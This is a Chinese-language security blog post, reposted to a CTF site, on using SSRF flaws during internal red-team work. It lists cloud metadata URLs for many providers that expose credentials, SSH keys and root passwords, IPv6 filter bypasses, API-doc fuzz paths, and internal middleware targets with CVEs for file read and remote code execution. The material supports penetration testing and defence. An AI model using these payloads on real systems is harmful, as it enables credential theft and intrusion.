蓝军技巧之SSRF利用方法

渗透技巧 2年前 (2022) admin
1,421 0 0

前言

SSRF漏洞在互联网公司中应该是除了越权之外最普遍的漏洞了。关于漏洞的原理,绕过,传统的扫端口、各种探测等利用方式等就不再赘述,这里分享下自己作为企业蓝军中常用的一些SSRF的利用途径。

0x01 Cloud Metadata

就是各种云上的元数据信息,有些可直接拿到主机权限,有些可获取一些敏感信息。

1.1 AWS

  1. # http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories

  2. http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy

  3. http://169.254.169.254/latest/user-data

  4. http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]

  5. http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]

  6. http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

  7. http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key


  8. # ECS Task : https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-metadata-endpoint-v2.html

  9. http://169.254.170.2/v2/credentials/

1.2 Google Cloud

  1. # https://cloud.google.com/compute/docs/metadata

  2. # - Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True" on API v1

  3. http://169.254.169.254/computeMetadata/v1/

  4. http://metadata.google.internal/computeMetadata/v1/

  5. http://metadata/computeMetadata/v1/

  6. http://metadata.google.internal/computeMetadata/v1/instance/hostname

  7. http://metadata.google.internal/computeMetadata/v1/instance/id

  8. http://metadata.google.internal/computeMetadata/v1/project/project-id

  9. # kube-env; thanks to JackMc for the heads up on this (https://hackerone.com/reports/341876)

  10. http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env

  11. # Google allows recursive pulls

  12. http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true

  13. # returns root password for Google

  14. http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json

1.3 Digital Ocean

  1. # https://developers.digitalocean.com/documentation/metadata/

  2. http://169.254.169.254/metadata/v1.json

  3. http://169.254.169.254/metadata/v1/

  4. http://169.254.169.254/metadata/v1/id

  5. http://169.254.169.254/metadata/v1/user-data

  6. http://169.254.169.254/metadata/v1/hostname

  7. http://169.254.169.254/metadata/v1/region

  8. http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address

1.4 Packetcloud

  1. https://metadata.packet.net/userdata

1.5 Azure

  1. # https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service

  2. # Header: "Metadata: true"

  3. # (Old) https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/

  4. http://169.254.169.254/metadata/instance?api-version=2017-04-02

  5. http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text

1.6 Oracle Cloud

  1. # https://docs.us-phoenix-1.oraclecloud.com/Content/Compute/Tasks/gettingmetadata.htm

  2. http://169.254.169.254/opc/v1/instance/

  3. # https://docs.oracle.com/en/cloud/iaas/compute-iaas-cloud/stcsg/retrieving-instance-metadata.html

  4. http://192.0.0.192/latest/

  5. http://192.0.0.192/latest/user-data/

  6. http://192.0.0.192/latest/meta-data/

  7. http://192.0.0.192/latest/attributes/

1.7 阿里云

  1. # https://www.alibabacloud.com/help/faq-detail/49122.htm

  2. http://100.100.100.200/latest/meta-data/

  3. http://100.100.100.200/latest/meta-data/instance-id

  4. http://100.100.100.200/latest/meta-data/image-id

1.8 OpenStack

  1. # https://docs.openstack.org/nova/latest/user/metadata-service.html

  2. http://169.254.169.254/openstack

  3. http://169.254.169.254/openstack/2012-08-10/meta_data.json

  4. http://169.254.169.254/openstack/2018-08-27/network_data.json

1.9 Kubernetes

  1. # Debug Services (https://kubernetes.io/docs/tasks/debug-application-cluster/debug-service/)

  2. https://kubernetes.default.svc.cluster.local

  3. https://kubernetes.default

  4. # https://twitter.com/Random_Robbie/status/1072242182306832384

  5. https://kubernetes.default.svc/metrics

1.10 腾讯云

  1. # https://cloud.tencent.com/document/product/213/4934

  2. http://metadata.tencentyun.com/latest/meta-data/

  3. http://169.254.0.23/latest/meta-data/

  4. http://100.88.222.5/

1.11 IPv6 Tests

大部分云主机都是支持IPv6的,所以绕过的时候可以尝试下

  1. http://[::ffff:169.254.169.254]

  2. http://[0:0:0:0:0:ffff:169.254.169.254]

1.12 华为云

  1. # https://support.huaweicloud.com/usermanual-ecs/ecs_03_0166.html

  2. http://169.254.169.254/openstack/latest/meta_data.json

  3. http://169.254.169.254/openstack/latest/user_data

  4. http://169.254.169.254/openstack/latest/network_data.json

  5. http://169.254.169.254/openstack/latest/securitykey

0x02 中间件

利用SSRF攻击传统的组件、CMS等的常用途径不再赘述,这里举一些在大部分互联网公司中常用的 能够被SSRF进一步利用的中间件。

2.1 Apollo

利用点:

  • 未授权访问

    • https://github.com/apolloconfig/apollo/issues/2099 直接获取各种配置信息,各种账密、AK、数据库等

2.2 Erueka

利用点:

  • 未授权访问

    • Erueka未授权访问漏洞。通过内网Eruaka未授权,可获取到大量注册的应用,若运气好,直接可定位到核心组件和核心服务。

2.3 JumpServer

利用点:

  • RCE:

    • JumpServer远程代码执行漏洞。JumpServer的这个漏洞最开始基本上都是在Nginx层做的拦截,如果直接找到Jumpserver的后端端口,可直接尝试利用漏洞RCE。

2.4 Grafana

利用点:

  • 文件读取

    • CVE-2021-43798任意文件读取。内网的组件大多比较脆弱,直接读Grafana的DB文件,得到的基本上都是比较重要的DB账号密码。

2.5 K8s

利用点:

  • 各种未授权访问

    • 这个比较大,不一一说了,纯属看运气了。比如常见的:API Server / etcd / kubectl proxy / kubelet / Docker Remote API / dashboard等等等

2.6 大数据相关

利用点:

  • 未授权访问

  • 文件读取

  • RCE

大数据生态组件也非常多,大多利用未授权访问、文件读取漏洞进行信息获取,部分可进行RCE。

2.7 SpringBoot Actuator

利用点:

  • 未授权访问:

    • 很多Actuator的端点拦截只是对外网而言,有些是在Nginx过滤了 或者在 filter设置的只允许内部网络访问,通过SSRF就可以直接未授权获取各种数据,直接下载heapdump获取数据。

  • 文件读取:

    • Logview CVE-2021-21234

  • RCE:

    • Gateway SPEL 代码注入 (CVE-2022-22947)

    • 修改env端点属性

      • eureka xstream deserialization

      • SnakeYAML RCE

      • Jolokia Realm JNDI RCE

      • H2 RCE

2.8 内网业务应用

这里有个小技巧,先搞应用的API文档,大部分内网调用的服务很多都不做权限校验的,直接请求接口运气好的直接搞到核心数据

API文档的Fuzz URI

  1. doc.html

  2. swagger-ui.html

  3. swagger/swagger-ui.html

  4. api/swagger-ui.html

  5. api/doc.html

  6. swagger/index.html

  7. druid/index.html

  8. spring-security-rest/api/swagger-ui.html

  9. spring-security-oauth-resource/swagger-ui.html

  10. swagger/v1/swagger.json

  11. swagger/v2/swagger.json

  12. api-docs

  13. v1/api-docs

  14. v2/api-docs

  15. ...

2.9 Confluence

利用点:

  • SPEL RCE

    • CVE-2021-26084 Remote Code Execution on Confluence Servers

2.10 Elasticsearch

利用点:

  • 未授权访问:

  • 运气好的直接搞到运维或中间件的ES

    • 是应用ES的话找访问日志的索引和操作日志的索引

    • 是运维ES的话找应用stdout/stderr/logback等的索引

  • RCE:

    • log4j(我不会告诉你 国内TOP3云厂商卖的ES服务还有log4j漏洞呢)

2.11 阿里Druid

利用点:

  • 未授权访问

  • 找URI

  • 找Session

  • 找SQL(往SQL注入靠)

2.12 Apache Druid

利用点:

  • 未授权访问

    • Dashboard

  • 文件读取

    • CVE-2021-36749 Apache Druid LoadData 任意文件读取

  • RCE

    • Apache Druid 远程代码执行漏洞(CVE-2021-26919)

    • 结合未授权 Apache Druid 命令执行漏洞(CVE-2021-25646)

2.13 APISIX

利用点:

  • 未授权访问

    • CVE-2021-45232 APISIX Dashboard未授权访问漏洞

2.14 Jenkins

利用点:

  • 未授权访问

    • Groovy 脚本控制台 RCE

  • RCE

    • CVE-2018-1000861

    • CVE-2019-1003000

后记

前天无意间打开微信公众平台,进去看到加了200多个粉丝,让一年多没更新的我感到无比愧疚,愧对大哥们的关注。其实我笔记里面有非常多想要分享的话题,包括了运维相关、企业架构、蓝军、企业安全建设、云原生、HIDS、NIDS等等(虽然都不咋懂),但是比较忙一直没写,以后尽量一个月搞个3篇以上。

再次谢谢大哥们的厚爱了,大家一块进步呀。

蓝军技巧之SSRF利用方法


原文始发于微信公众号(小宝的安全学习笔记):蓝军技巧之SSRF利用方法

版权声明:admin 发表于 2022年3月24日 下午7:35。
转载请注明:蓝军技巧之SSRF利用方法 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...